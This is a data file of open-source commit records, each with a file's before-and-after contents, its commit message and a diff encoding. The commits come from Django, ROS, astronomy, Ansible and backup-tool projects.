d4dc22be443fb73157d542f86dbee5d89ac5a713 | imagersite/imager_images/tests.py | imagersite/imager_images/tests.py | from django.test import TestCase
# Create your tests here.
| from __future__ import unicode_literals
from django.contrib.auth.models import User
from django.test import TestCase
import factory
from faker import Faker
from imager_profile.models import ImagerProfile
from .models import Album, Photo
# Create your tests here.
| Add imports to imager_images test | Add imports to imager_images test
| Python | mit | jesseklein406/django-imager,jesseklein406/django-imager,jesseklein406/django-imager | <INSERT> __future__ import unicode_literals
from django.contrib.auth.models import User
from <INSERT_END> <REPLACE_OLD> TestCase
# <REPLACE_NEW> TestCase
import factory
from faker import Faker
from imager_profile.models import ImagerProfile
from .models import Album, Photo
# <REPLACE_END> <|endoftext|> from __future... | Add imports to imager_images test
from django.test import TestCase
# Create your tests here.
|
e2d7b446cc290cda01709636e964f850cbef0532 | 17B-162/HI/analysis/convolve_and_match_iram30m.py | 17B-162/HI/analysis/convolve_and_match_iram30m.py |
'''
Create a cube that is spatially-matched and convolved to the IRAM 30-m
CO(2-1) cube.
'''
import os
from os.path import join as osjoin
from cube_analysis.reprojection import reproject_cube
from cube_analysis.run_pipe import run_pipeline
from paths import (seventeenB_HI_data_1kms_wGBT_path,
sev... | Make a 17B HI cube matched to the 30-m IRAM cube | Make a 17B HI cube matched to the 30-m IRAM cube
| Python | mit | e-koch/VLA_Lband,e-koch/VLA_Lband | <REPLACE_OLD> <REPLACE_NEW>
'''
Create a cube that is spatially-matched and convolved to the IRAM 30-m
CO(2-1) cube.
'''
import os
from os.path import join as osjoin
from cube_analysis.reprojection import reproject_cube
from cube_analysis.run_pipe import run_pipeline
from paths import (seventeenB_HI_data_1kms_wGBT... | Make a 17B HI cube matched to the 30-m IRAM cube
| |
d2367579b9c17bcb81a78108c0eda960346a79e1 | src/reduce_framerate.py | src/reduce_framerate.py | #!/usr/bin/env python
# -*- coding: utf-8 -*-
# (C) 2015 Jean Nassar
# Released under BSD version 4
"""
Reduce /ardrone/image_raw framerate from 30 Hz to 2 Hz.
"""
import rospy
from sensor_msgs.msg import Image
class ImageFeature(object):
"""
A ROS image Publisher/Subscriber.
"""
def __init__(self)... | #!/usr/bin/env python
# -*- coding: utf-8 -*-
# (C) 2015 Jean Nassar
# Released under BSD version 4
"""
Reduce /ardrone/image_raw framerate from 30 Hz to 2 Hz.
"""
import rospy
from sensor_msgs.msg import Image
class ImageFeature(object):
"""
A ROS image Publisher/Subscriber.
"""
def __init__(self)... | Fix mistaken reference to image_callback. | Fix mistaken reference to image_callback.
| Python | mit | masasin/spirit,masasin/spirit | <REPLACE_OLD> self.image_callback,
<REPLACE_NEW> self.frame_callback,
<REPLACE_END> <|endoftext|> #!/usr/bin/env python
# -*- coding: utf-8 -*-
# (C) 2015 Jean Nassar
# Released under BSD version 4
"""
Reduce /ardrone/image_raw framerate from 30 Hz to 2 Hz.
"""
import rospy
from sensor_msgs.msg import Image
class... | Fix mistaken reference to image_callback.
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# (C) 2015 Jean Nassar
# Released under BSD version 4
"""
Reduce /ardrone/image_raw framerate from 30 Hz to 2 Hz.
"""
import rospy
from sensor_msgs.msg import Image
class ImageFeature(object):
"""
A ROS image Publisher/... |
9a56b447aaf546814e4e87bc6d60855b33fdf3ff | tests/test_pgbackup.py | tests/test_pgbackup.py | # coding: utf-8
"""
Unit tests for essential functions in postgresql backup.
"""
from unittest.mock import MagicMock, mock_open, patch
import pytest
import smdba.postgresqlgate
class TestPgBackup:
"""
Test suite for postgresql backup.
"""
@patch("smdba.postgresqlgate.os.path.exists", MagicMock(return_... | Add unit test suite for PgBackup | Add unit test suite for PgBackup
| Python | mit | SUSE/smdba,SUSE/smdba | <INSERT> # coding: utf-8
"""
Unit tests for essential functions in postgresql backup.
"""
from unittest.mock import MagicMock, mock_open, patch
import pytest
import smdba.postgresqlgate
class TestPgBackup:
<INSERT_END> <INSERT> """
Test suite for postgresql backup.
"""
@patch("smdba.postgresqlgate.os.p... | Add unit test suite for PgBackup
| |
b2396e90d9da252766979c154e6f98707dda6e0c | python/helpers/profiler/_prof_imports.py | python/helpers/profiler/_prof_imports.py | import sys
IS_PY3K = False
try:
if sys.version_info[0] >= 3:
IS_PY3K = True
except AttributeError:
pass #Not all versions have sys.version_info
if IS_PY3K:
# noinspection PyUnresolvedReferences
from thriftpy3 import TSerialization
# noinspection PyUnresolvedReferences
from thriftpy3... | import sys
IS_PY3K = False
try:
if sys.version_info[0] >= 3:
IS_PY3K = True
except AttributeError:
pass #Not all versions have sys.version_info
if IS_PY3K:
# noinspection PyUnresolvedReferences
from thriftpy3 import TSerialization
# noinspection PyUnresolvedReferences
from thriftpy3... | Remove JSON serialization usages (PY-16388, PY-16389) | Remove JSON serialization usages (PY-16388, PY-16389)
| Python | apache-2.0 | orekyuu/intellij-community,MER-GROUP/intellij-community,semonte/intellij-community,da1z/intellij-community,slisson/intellij-community,xfournet/intellij-community,youdonghai/intellij-community,wreckJ/intellij-community,blademainer/intellij-community,robovm/robovm-studio,lucafavatella/intellij-community,salguarnieri/inte... | <DELETE> TJSONProtocol, <DELETE_END> <DELETE> TJSONProtocol, <DELETE_END> <|endoftext|> import sys
IS_PY3K = False
try:
if sys.version_info[0] >= 3:
IS_PY3K = True
except AttributeError:
pass #Not all versions have sys.version_info
if IS_PY3K:
# noinspection PyUnresolvedReferences
from thri... | Remove JSON serialization usages (PY-16388, PY-16389)
import sys
IS_PY3K = False
try:
if sys.version_info[0] >= 3:
IS_PY3K = True
except AttributeError:
pass #Not all versions have sys.version_info
if IS_PY3K:
# noinspection PyUnresolvedReferences
from thriftpy3 import TSerialization
#... |
0ae8934d4d1e1a6e57c73eebd85ede01326e8ca1 | scripts/run_on_swarming_bots/apt-full-upgrade.py | scripts/run_on_swarming_bots/apt-full-upgrade.py | #!/usr/bin/env python
#
# Copyright 2017 Google Inc.
#
# Use of this source code is governed by a BSD-style license that can be
# found in the LICENSE file.
"""Upgrade a bot via apt-get, then reboot. Aborts on error."""
import subprocess
# Copied from
# https://skia.googlesource.com/buildbot/+/d864d83d992f2968cf4d... | Add script to upgrade Debian/Ubuntu bots. | Add script to upgrade Debian/Ubuntu bots.
Bug: skia:6890
Change-Id: I30eea5d64c502ac7ef51cf2d8f6ef3c583e60b3e
Reviewed-on: https://skia-review.googlesource.com/28840
Commit-Queue: Ben Wagner <3ef7217be91069877d94f7907ce5479000772cd3@google.com>
Reviewed-by: Eric Boren <0e499112533c8544f0505ea0d08394fb5ad7d8fa@google.c... | Python | bsd-3-clause | google/skia-buildbot,google/skia-buildbot,google/skia-buildbot,google/skia-buildbot,google/skia-buildbot,google/skia-buildbot,google/skia-buildbot,google/skia-buildbot | <INSERT> #!/usr/bin/env python
#
# Copyright 2017 Google Inc.
#
# Use of this source code is governed by a BSD-style license that can be
# found in the LICENSE file.
"""Upgrade a bot via apt-get, then reboot. Aborts on error."""
import subprocess
# Copied from
# https://skia.googlesource.com/buildbot/+/d864d83d992... | Add script to upgrade Debian/Ubuntu bots.
Bug: skia:6890
Change-Id: I30eea5d64c502ac7ef51cf2d8f6ef3c583e60b3e
Reviewed-on: https://skia-review.googlesource.com/28840
Commit-Queue: Ben Wagner <3ef7217be91069877d94f7907ce5479000772cd3@google.com>
Reviewed-by: Eric Boren <0e499112533c8544f0505ea0d08394fb5ad7d8fa@google.c... | |
385b280ccad9385d24d2ad3f892718c8302f8718 | setup.py | setup.py | #!/usr/bin/env python3
# encoding: utf-8
from setuptools import setup, find_packages
setup(
name='pyatv',
version='0.1.4',
license='MIT',
url='https://github.com/postlund/pyatv',
author='Pierre Ståhl',
author_email='pierre.staahl@gmail.com',
description='Library for controlling an Apple TV... | #!/usr/bin/env python3
# encoding: utf-8
from setuptools import setup, find_packages
setup(
name='pyatv',
version='0.1.5.dev1',
license='MIT',
url='https://github.com/postlund/pyatv',
author='Pierre Ståhl',
author_email='pierre.staahl@gmail.com',
description='Library for controlling an App... | Bump to next dev 0.1.5.dev1 | Bump to next dev 0.1.5.dev1
| Python | mit | postlund/pyatv,postlund/pyatv | <REPLACE_OLD> version='0.1.4',
<REPLACE_NEW> version='0.1.5.dev1',
<REPLACE_END> <|endoftext|> #!/usr/bin/env python3
# encoding: utf-8
from setuptools import setup, find_packages
setup(
name='pyatv',
version='0.1.5.dev1',
license='MIT',
url='https://github.com/postlund/pyatv',
author='Pierre St... | Bump to next dev 0.1.5.dev1
#!/usr/bin/env python3
# encoding: utf-8
from setuptools import setup, find_packages
setup(
name='pyatv',
version='0.1.4',
license='MIT',
url='https://github.com/postlund/pyatv',
author='Pierre Ståhl',
author_email='pierre.staahl@gmail.com',
description='Librar... |
b6836dd7bccd40eec146bc034cc8ac83b4e7f16a | runtests.py | runtests.py | #!/usr/bin/env python
import sys
import os
from coverage import coverage
from optparse import OptionParser
# This envar must be set before importing NoseTestSuiteRunner,
# silence flake8 E402 ("module level import not at top of file").
os.environ.setdefault("DJANGO_SETTINGS_MODULE", "test_settings")
from django_nose i... | #!/usr/bin/env python
import sys
import os
from coverage import coverage
from optparse import OptionParser
# This envar must be set before importing NoseTestSuiteRunner,
# silence flake8 E402 ("module level import not at top of file").
os.environ.setdefault("DJANGO_SETTINGS_MODULE", "test_settings")
from django_nose i... | Extend sys.path with required paths from edx-platform submodule | Extend sys.path with required paths from edx-platform submodule
| Python | agpl-3.0 | hastexo/edx-shopify,fghaas/edx-shopify | <INSERT> Add Open edX common and LMS Django apps to PYTHONPATH
sys.path.append(os.path.join(os.path.dirname(__file__),
'edx-platform'))
for directory in ['common', 'lms']:
sys.path.append(os.path.join(os.path.dirname(__file__),
'edx-p... | Extend sys.path with required paths from edx-platform submodule
#!/usr/bin/env python
import sys
import os
from coverage import coverage
from optparse import OptionParser
# This envar must be set before importing NoseTestSuiteRunner,
# silence flake8 E402 ("module level import not at top of file").
os.environ.setdefa... |
f340c674737431c15875007f92de4dbe558ba377 | molo/yourwords/templatetags/competition_tag.py | molo/yourwords/templatetags/competition_tag.py | from django import template
from copy import copy
from molo.yourwords.models import (YourWordsCompetition, ThankYou,
YourWordsCompetitionIndexPage)
register = template.Library()
@register.inclusion_tag(
'yourwords/your_words_competition_tag.html',
takes_context=True
)
def y... | from django import template
from copy import copy
from molo.yourwords.models import (YourWordsCompetition, ThankYou,
YourWordsCompetitionIndexPage)
from molo.core.core_tags import get_pages
register = template.Library()
@register.inclusion_tag(
'yourwords/your_words_competition... | Add support for hiding untranslated content | Add support for hiding untranslated content
| Python | bsd-2-clause | praekelt/molo.yourwords,praekelt/molo.yourwords | <REPLACE_OLD> YourWordsCompetitionIndexPage)
register <REPLACE_NEW> YourWordsCompetitionIndexPage)
from molo.core.core_tags import get_pages
register <REPLACE_END> <REPLACE_OLD> YourWordsCompetition.objects.live().child_of(page).filter(
<REPLACE_NEW> YourWordsCompetition.objects.child_of(page).filter(
<REPLACE_END>... | Add support for hiding untranslated content
from django import template
from copy import copy
from molo.yourwords.models import (YourWordsCompetition, ThankYou,
YourWordsCompetitionIndexPage)
register = template.Library()
@register.inclusion_tag(
'yourwords/your_words_competit... |
e817f726c20ccf40cd43d4e6cf36235187a27c20 | objects/utils.py | objects/utils.py | """Utils module."""
from inspect import isclass
from .errors import Error
def is_provider(instance):
"""Check if instance is provider instance."""
return (not isclass(instance) and
hasattr(instance, '__IS_OBJECTS_PROVIDER__'))
def ensure_is_provider(instance):
"""Check if instance is provi... | """Utils module."""
from six import class_types
from .errors import Error
def is_provider(instance):
"""Check if instance is provider instance."""
return (not isinstance(instance, class_types) and
hasattr(instance, '__IS_OBJECTS_PROVIDER__'))
def ensure_is_provider(instance):
"""Check if i... | Fix of bug in Python 2.6 with failed isclass check in inspect module | Fix of bug in Python 2.6 with failed isclass check in inspect module
| Python | bsd-3-clause | rmk135/dependency_injector,ets-labs/dependency_injector,ets-labs/python-dependency-injector,rmk135/objects | <REPLACE_OLD> inspect <REPLACE_NEW> six <REPLACE_END> <REPLACE_OLD> isclass
from <REPLACE_NEW> class_types
from <REPLACE_END> <REPLACE_OLD> isclass(instance) <REPLACE_NEW> isinstance(instance, class_types) <REPLACE_END> <REPLACE_OLD> isclass(instance) <REPLACE_NEW> isinstance(instance, class_types) <REPLACE_END> <REP... | Fix of bug in Python 2.6 with failed isclass check in inspect module
"""Utils module."""
from inspect import isclass
from .errors import Error
def is_provider(instance):
"""Check if instance is provider instance."""
return (not isclass(instance) and
hasattr(instance, '__IS_OBJECTS_PROVIDER__'))... |
fd47b1744567dfdfe9e3787bbc4638ddc30b3ff6 | tests/preflight_test.py | tests/preflight_test.py | from unittest import TestCase
from dusty.preflight import _assert_executable_exists, PreflightException
class PreflightTest(TestCase):
def test_assert_executable_exists(self):
_assert_executable_exists('python')
def test_assert_executable_exists_fails(self):
with self.assertRaises(PreflightEx... | Add tests for assert executable | Add tests for assert executable
| Python | mit | gamechanger/dusty,gamechanger/dusty,gamechanger/dusty,gamechanger/dusty,gamechanger/dusty | <INSERT> from unittest import TestCase
from dusty.preflight import _assert_executable_exists, PreflightException
class PreflightTest(TestCase):
<INSERT_END> <INSERT> def test_assert_executable_exists(self):
_assert_executable_exists('python')
def test_assert_executable_exists_fails(self):
with... | Add tests for assert executable
| |
ce2df91a790aedcd0ec08f3526141cd01c63560d | tasks.py | tasks.py | from os import mkdir
from os.path import join
from shutil import rmtree, copytree
from invoke import Collection, ctask as task
from invocations.docs import docs, www
from invocations.packaging import publish
# Until we move to spec-based testing
@task
def test(ctx):
ctx.run("python test.py --verbose", pty=True)
... | from os import mkdir
from os.path import join
from shutil import rmtree, copytree
from invoke import Collection, ctask as task
from invocations.docs import docs, www
from invocations.packaging import publish
# Until we move to spec-based testing
@task
def test(ctx, coverage=False, flags=""):
if "--verbose" not i... | Allow specifying test.py flags in 'inv test' | Allow specifying test.py flags in 'inv test'
| Python | lgpl-2.1 | jaraco/paramiko,mirrorcoder/paramiko,ameily/paramiko,dorianpula/paramiko,SebastianDeiss/paramiko,reaperhulk/paramiko,paramiko/paramiko | <REPLACE_OLD> test(ctx):
ctx.run("python <REPLACE_NEW> test(ctx, coverage=False, flags=""):
if "--verbose" not in flags.split():
flags += " --verbose"
runner = "python"
if coverage:
runner = "coverage run --source=paramiko"
ctx.run("{0} <REPLACE_END> <REPLACE_OLD> --verbose", pty=Tru... | Allow specifying test.py flags in 'inv test'
from os import mkdir
from os.path import join
from shutil import rmtree, copytree
from invoke import Collection, ctask as task
from invocations.docs import docs, www
from invocations.packaging import publish
# Until we move to spec-based testing
@task
def test(ctx):
... |
535dbef3caf4130cc8543be4aa54c8ce820a5b56 | tests/builtins/test_list.py | tests/builtins/test_list.py | from .. utils import TranspileTestCase, BuiltinFunctionTestCase
class ListTests(TranspileTestCase):
pass
class BuiltinListFunctionTests(BuiltinFunctionTestCase, TranspileTestCase):
functions = ["list"]
not_implemented = [
'test_bool',
'test_bytearray',
'test_bytes',
'tes... | from .. utils import TranspileTestCase, BuiltinFunctionTestCase
class ListTests(TranspileTestCase):
pass
class BuiltinListFunctionTests(BuiltinFunctionTestCase, TranspileTestCase):
functions = ["list"]
not_implemented = [
'test_bytearray',
'test_bytes',
'test_class',
'te... | Mark some builtin list() tests as passing | Mark some builtin list() tests as passing
- This is due to the earlier fixed TypeError message.
| Python | bsd-3-clause | cflee/voc,glasnt/voc,pombredanne/voc,gEt-rIgHt-jR/voc,ASP1234/voc,Felix5721/voc,freakboy3742/voc,pombredanne/voc,Felix5721/voc,freakboy3742/voc,gEt-rIgHt-jR/voc,glasnt/voc,cflee/voc,ASP1234/voc | <DELETE> 'test_bool',
<DELETE_END> <DELETE> 'test_float',
<DELETE_END> <DELETE> 'test_int',
<DELETE_END> <|endoftext|> from .. utils import TranspileTestCase, BuiltinFunctionTestCase
class ListTests(TranspileTestCase):
pass
class BuiltinListFunctionTests(BuiltinFunctionTestCase, Transpil... | Mark some builtin list() tests as passing
- This is due to the earlier fixed TypeError message.
from .. utils import TranspileTestCase, BuiltinFunctionTestCase
class ListTests(TranspileTestCase):
pass
class BuiltinListFunctionTests(BuiltinFunctionTestCase, TranspileTestCase):
functions = ["list"]
not... |
9f02929673389884d4dd261964b7b1be6c959caa | vault.py | vault.py | import os
import urllib2
import json
import sys
from urlparse import urljoin
from ansible import utils, errors
from ansible.utils import template
class LookupModule(object):
def __init__(self, basedir=None, **kwargs):
self.basedir = basedir
def run(self, terms, inject=None, **kwargs):
try:
... | import os
import urllib2
import json
import sys
from urlparse import urljoin
from ansible.errors import AnsibleError
from ansible.plugins.lookup import LookupBase
class LookupModule(LookupBase):
def run(self, terms, variables, **kwargs):
key = terms[0]
url = os.getenv('VAULT_ADDR')
if n... | Update plugin for ansible 2.0 | Update plugin for ansible 2.0
| Python | bsd-3-clause | jhaals/ansible-vault,jhaals/ansible-vault,locationlabs/ansible-vault | <REPLACE_OLD> ansible import utils, errors
from ansible.utils import template
class LookupModule(object):
def __init__(self, basedir=None, **kwargs):
self.basedir = basedir
<REPLACE_NEW> ansible.errors import AnsibleError
from ansible.plugins.lookup import LookupBase
class LookupModule(LookupBase):
... | Update plugin for ansible 2.0
import os
import urllib2
import json
import sys
from urlparse import urljoin
from ansible import utils, errors
from ansible.utils import template
class LookupModule(object):
def __init__(self, basedir=None, **kwargs):
self.basedir = basedir
def run(self, terms, inject=... |
7cbd21a050a9e94d0f8f1f5c3ce4f81c812e279c | trump/templating/tests/test_templates.py | trump/templating/tests/test_templates.py |
from ..templates import QuandlFT
class TestTemplates(object):
def test_quandl_ft(self):
ftemp = QuandlFT("xxx", trim_start="yyyy-mm-dd", authtoken="yyy")
assert ftemp.sourcing == {'authtoken': 'yyy',
'trim_start': 'yyyy-mm-dd',
'... |
from ..templates import QuandlFT, QuandlSecureFT, GoogleFinanceFT
class TestTemplates(object):
def test_quandl_ft(self):
ftemp = QuandlFT("xxx", trim_start="yyyy-mm-dd", authtoken="yyy")
assert ftemp.sourcing == {'authtoken': 'yyy',
'trim_start': 'yyyy-mm-dd',
... | Add two tests for templates | Add two tests for templates | Python | bsd-3-clause | Equitable/trump,Asiant/trump,jnmclarty/trump | <REPLACE_OLD> QuandlFT
class <REPLACE_NEW> QuandlFT, QuandlSecureFT, GoogleFinanceFT
class <REPLACE_END> <INSERT> 'xxx'}
def test_quandl_secure_ft(self):
ftemp = QuandlSecureFT("xxx", trim_start="yyyy-mm-dd")
assert ftemp.sourcing == {'trim_start': 'yyyy-mm-dd',
... | Add two tests for templates
from ..templates import QuandlFT
class TestTemplates(object):
def test_quandl_ft(self):
ftemp = QuandlFT("xxx", trim_start="yyyy-mm-dd", authtoken="yyy")
assert ftemp.sourcing == {'authtoken': 'yyy',
'trim_start': 'yyyy-mm-dd',
... |
7a971038a1a2c045387523aef858c841ae3d4bdc | tests/integration/suite/test_notifier.py | tests/integration/suite/test_notifier.py | from kubernetes.client import CustomObjectsApi
from .common import random_str
def test_notifier_smtp_password(admin_mc, remove_resource):
client = admin_mc.client
name = random_str()
password = random_str()
notifier = client.create_notifier(clusterId="local",
name... | Test Email Notifier SMTP Password | Test Email Notifier SMTP Password
| Python | apache-2.0 | rancher/rancher,rancher/rancher,rancherio/rancher,rancher/rancher,cjellick/rancher,cjellick/rancher,rancher/rancher,rancherio/rancher,cjellick/rancher | <REPLACE_OLD> <REPLACE_NEW> from kubernetes.client import CustomObjectsApi
from .common import random_str
def test_notifier_smtp_password(admin_mc, remove_resource):
client = admin_mc.client
name = random_str()
password = random_str()
notifier = client.create_notifier(clusterId="local",
... | Test Email Notifier SMTP Password
| |
355b78dfa8be2000a1e3198231088c7b3cec0d18 | alexandria/__init__.py | alexandria/__init__.py | import logging
log = logging.getLogger(__name__)
from pyramid.config import Configurator
from sqlalchemy import engine_from_config
from .models import DBSession
required_settings = [
'pyramid.secret.session',
'pyramid.secret.auth',
]
def main(global_config, **settings):
""" This function... | import logging
log = logging.getLogger(__name__)
from pyramid.config import Configurator
from sqlalchemy import engine_from_config
from .models import DBSession
required_settings = [
'pyramid.secret.session',
'pyramid.secret.auth',
]
def main(global_config, **settings):
""" This function... | Set up the factory for the default route | Set up the factory for the default route
| Python | isc | bertjwregeer/alexandria,bertjwregeer/alexandria,cdunklau/alexandria,cdunklau/alexandria,cdunklau/alexandria | <INSERT> factory='.traversal.Root',
<INSERT_END> <|endoftext|> import logging
log = logging.getLogger(__name__)
from pyramid.config import Configurator
from sqlalchemy import engine_from_config
from .models import DBSession
required_settings = [
'pyramid.secret.session',
'pyramid.secret.a... | Set up the factory for the default route
import logging
log = logging.getLogger(__name__)
from pyramid.config import Configurator
from sqlalchemy import engine_from_config
from .models import DBSession
required_settings = [
'pyramid.secret.session',
'pyramid.secret.auth',
]
def main(global_... |
5b54df50752b3f661ad43f2086734f90a8d1a11e | src/ggrc/migrations/versions/20150205020509_5254f4f31427_system_editable_object_state.py | src/ggrc/migrations/versions/20150205020509_5254f4f31427_system_editable_object_state.py |
"""System editable object state
Revision ID: 5254f4f31427
Revises: 512c71e4d93b
Create Date: 2015-02-05 02:05:09.351265
"""
# revision identifiers, used by Alembic.
revision = '5254f4f31427'
down_revision = '512c71e4d93b'
import sqlalchemy as sa
from sqlalchemy.sql import table, column
from alembic import op
from ... |
"""System editable object state
Revision ID: 5254f4f31427
Revises: 512c71e4d93b
Create Date: 2015-02-05 02:05:09.351265
"""
# revision identifiers, used by Alembic.
revision = '5254f4f31427'
down_revision = '512c71e4d93b'
import sqlalchemy as sa
from sqlalchemy.sql import table, column
from alembic import op
from ... | Fix db_downgrade for "System editable object state" | Fix db_downgrade for "System editable object state"
| Python | apache-2.0 | jmakov/ggrc-core,edofic/ggrc-core,uskudnik/ggrc-core,plamut/ggrc-core,vladan-m/ggrc-core,j0gurt/ggrc-core,selahssea/ggrc-core,andrei-karalionak/ggrc-core,edofic/ggrc-core,AleksNeStu/ggrc-core,selahssea/ggrc-core,j0gurt/ggrc-core,NejcZupec/ggrc-core,VinnieJohns/ggrc-core,hasanalom/ggrc-core,uskudnik/ggrc-core,j0gurt/ggr... | <REPLACE_OLD> ObjectStateTables:
<REPLACE_NEW> ObjectStateTables.table_names:
<REPLACE_END> <|endoftext|>
"""System editable object state
Revision ID: 5254f4f31427
Revises: 512c71e4d93b
Create Date: 2015-02-05 02:05:09.351265
"""
# revision identifiers, used by Alembic.
revision = '5254f4f31427'
down_revision = '... | Fix db_downgrade for "System editable object state"
"""System editable object state
Revision ID: 5254f4f31427
Revises: 512c71e4d93b
Create Date: 2015-02-05 02:05:09.351265
"""
# revision identifiers, used by Alembic.
revision = '5254f4f31427'
down_revision = '512c71e4d93b'
import sqlalchemy as sa
from sqlalchemy.... |
ca321b449f16d966bccf3d30680819b6dafa00bc | normalize_data.py | normalize_data.py | import numpy as np
from sklearn import preprocessing as pp
print('normalization function imported')
#normalize data in respect with keys in dictionary
def normalize_data(data):
# get keys from original data
gestures = list(data)
# create empty dictionary to store normalized data with gestures
gda... | import numpy as np
from sklearn import preprocessing as pp
print('normalization function imported')
#normalize data in respect with keys in dictionary
def normalize_data(data):
# get keys from original data
gestures = list(data)
# create empty dictionary to store normalized data with gestures
gda... | Replace integer indices with ellipsis | Replace integer indices with ellipsis
| Python | mit | JustinShenk/sonic-face,JustinShenk/sonic-face | <REPLACE_OLD> np.max(data_gesture[:,:,:,:,0])
<REPLACE_NEW> np.max(data_gesture[...,0])
<REPLACE_END> <REPLACE_OLD> np.min(data_gesture[:,:,:,:,0])
<REPLACE_NEW> np.min(data_gesture[...,0])
<REPLACE_END> <REPLACE_OLD> np.max(data_gesture[:,:,:,:,1])
<REPLACE_NEW> np.max(data_gesture[...,1])
<REPLACE_END> <REPLACE... | Replace integer indices with ellipsis
import numpy as np
from sklearn import preprocessing as pp
print('normalization function imported')
#normalize data in respect with keys in dictionary
def normalize_data(data):
# get keys from original data
gestures = list(data)
# create empty dictionary to stor... |
782a4b028c45d3cc37e6679ccc3d482f0518b4b7 | txircd/modules/cmode_t.py | txircd/modules/cmode_t.py | from twisted.words.protocols import irc
from txircd.modbase import Mode
class TopiclockMode(Mode):
def checkPermission(self, user, cmd, data):
if cmd != "TOPIC":
return data
if "topic" not in data:
return data
targetChannel = data["targetchan"]
if "t" in targetChannel.mode and not user.hasAccess(self.ir... | from twisted.words.protocols import irc
from txircd.modbase import Mode
class TopiclockMode(Mode):
def checkPermission(self, user, cmd, data):
if cmd != "TOPIC":
return data
if "topic" not in data:
return data
targetChannel = data["targetchan"]
if "t" in targetChannel.mode and not user.hasAccess(targetC... | Fix the order of parameters to hasAccess, which broke all topic changing when +t was set | Fix the order of parameters to hasAccess, which broke all topic changing when +t was set
| Python | bsd-3-clause | ElementalAlchemist/txircd,Heufneutje/txircd,DesertBus/txircd | <REPLACE_OLD> user.hasAccess(self.ircd.servconfig["channel_minimum_level"]["TOPIC"], targetChannel.name):
user.sendMessage(irc.ERR_CHANOPRIVSNEEDED, <REPLACE_NEW> user.hasAccess(targetChannel.name, self.ircd.servconfig["channel_minimum_level"]["TOPIC"]):
user.sendMessage(irc.ERR_CHANOPRIVSNEEDED, <REPLACE_END> <|... | Fix the order of parameters to hasAccess, which broke all topic changing when +t was set
from twisted.words.protocols import irc
from txircd.modbase import Mode
class TopiclockMode(Mode):
def checkPermission(self, user, cmd, data):
if cmd != "TOPIC":
return data
if "topic" not in data:
return data
target... |
8ba9f82373ef0995bd3a18d6bc0153a2f7e71bcb | setup.py | setup.py | #!/usr/bin/env python
import sys
import os
from distutils.core import setup
sys.path.insert(0, os.path.dirname(__file__))
from wutils import get_version, generate_version_py
generate_version_py(force=False)
setup(name='pybindgen',
version=get_version(),
description='Python Bindings Generator',
autho... | #!/usr/bin/env python
import sys
import os
from distutils.core import setup
sys.path.insert(0, os.path.dirname(__file__))
from wutils import get_version, generate_version_py
generate_version_py(force=False)
setup(name='PyBindGen',
version=get_version(),
description='Python Bindings Generator',
autho... | Revert back to PyBindGen as package name because it's what is already registered in PyPI. | Revert back to PyBindGen as package name because it's what is already registered in PyPI.
| Python | lgpl-2.1 | caramucho/pybindgen,caramucho/pybindgen,caramucho/pybindgen,cawka/pybindgen,cawka/pybindgen,cawka/pybindgen,cawka/pybindgen,caramucho/pybindgen | <REPLACE_OLD> generate_version_py
generate_version_py(force=False)
setup(name='pybindgen',
<REPLACE_NEW> generate_version_py
generate_version_py(force=False)
setup(name='PyBindGen',
<REPLACE_END> <|endoftext|> #!/usr/bin/env python
import sys
import os
from distutils.core import setup
sys.path.insert(0, os.path.di... | Revert back to PyBindGen as package name because it's what is already registered in PyPI.
#!/usr/bin/env python
import sys
import os
from distutils.core import setup
sys.path.insert(0, os.path.dirname(__file__))
from wutils import get_version, generate_version_py
generate_version_py(force=False)
setup(name='pybindg... |
39940ba7b5cfd2a62f5168a58efbd03eab1b8728 | Examples/Infovis/Python/create_tree.py | Examples/Infovis/Python/create_tree.py | from vtk import *
graph = vtkMutableDirectedGraph()
a = graph.AddVertex()
b = graph.AddChild(a)
c = graph.AddChild(a)
d = graph.AddChild(b)
e = graph.AddChild(c)
f = graph.AddChild(c)
tree = vtkTree()
tree.CheckedShallowCopy(graph)
view = vtkGraphLayoutView()
view.AddRepresentationFromInput(tree)
window = vtkRender... | Add a Python example of creating a tree. | ENH: Add a Python example of creating a tree.
| Python | bsd-3-clause | jeffbaumes/jeffbaumes-vtk,candy7393/VTK,candy7393/VTK,naucoin/VTKSlicerWidgets,biddisco/VTK,gram526/VTK,naucoin/VTKSlicerWidgets,sumedhasingla/VTK,sankhesh/VTK,msmolens/VTK,jeffbaumes/jeffbaumes-vtk,biddisco/VTK,johnkit/vtk-dev,SimVascular/VTK,keithroe/vtkoptix,sumedhasingla/VTK,mspark93/VTK,cjh1/VTK,spthaolt/VTK,sptha... | <REPLACE_OLD> <REPLACE_NEW> from vtk import *
graph = vtkMutableDirectedGraph()
a = graph.AddVertex()
b = graph.AddChild(a)
c = graph.AddChild(a)
d = graph.AddChild(b)
e = graph.AddChild(c)
f = graph.AddChild(c)
tree = vtkTree()
tree.CheckedShallowCopy(graph)
view = vtkGraphLayoutView()
view.AddRepresentationFromIn... | ENH: Add a Python example of creating a tree.
| |
f55a00cfd81f8f3c88aaaa5a4b3d63ceb4364a11 | books/views.py | books/views.py | from django.shortcuts import redirect
from django.views.decorators.csrf import csrf_exempt
from .models import BookIndex, Book
@csrf_exempt
def book_index(request):
page = BookIndex.objects.all()[0]
return redirect('/api/v2/pages/{}'.format(page.pk))
@csrf_exempt
def book_detail(request, slug):
page = B... | from django.shortcuts import redirect
from django.views.decorators.csrf import csrf_exempt
from .models import BookIndex, Book
@csrf_exempt
def book_index(request):
page = BookIndex.objects.all()[0]
return redirect('/api/v2/pages/{}'.format(page.pk))
@csrf_exempt
def book_detail(request, slug):
try:
... | Return book index page if book not found by slug | Return book index page if book not found by slug
| Python | agpl-3.0 | openstax/openstax-cms,Connexions/openstax-cms,openstax/openstax-cms,openstax/openstax-cms,openstax/openstax-cms,Connexions/openstax-cms | <INSERT> try:
<INSERT_END> <INSERT> <INSERT_END> <INSERT> except Book.DoesNotExist:
#no book, return to book index
page = BookIndex.objects.all()[0]
return redirect('/api/v2/pages/{}'.format(page.pk))
<INSERT_END> <|endoftext|> from django.shortcuts import redirect
from django.vi... | Return book index page if book not found by slug
from django.shortcuts import redirect
from django.views.decorators.csrf import csrf_exempt
from .models import BookIndex, Book
@csrf_exempt
def book_index(request):
page = BookIndex.objects.all()[0]
return redirect('/api/v2/pages/{}'.format(page.pk))
@csrf_e... |
536575db87968014f75d2ad68456c3684d6c92de | auditlog/__manifest__.py | auditlog/__manifest__.py | # -*- coding: utf-8 -*-
# © 2015 ABF OSIELL <http://osiell.com>
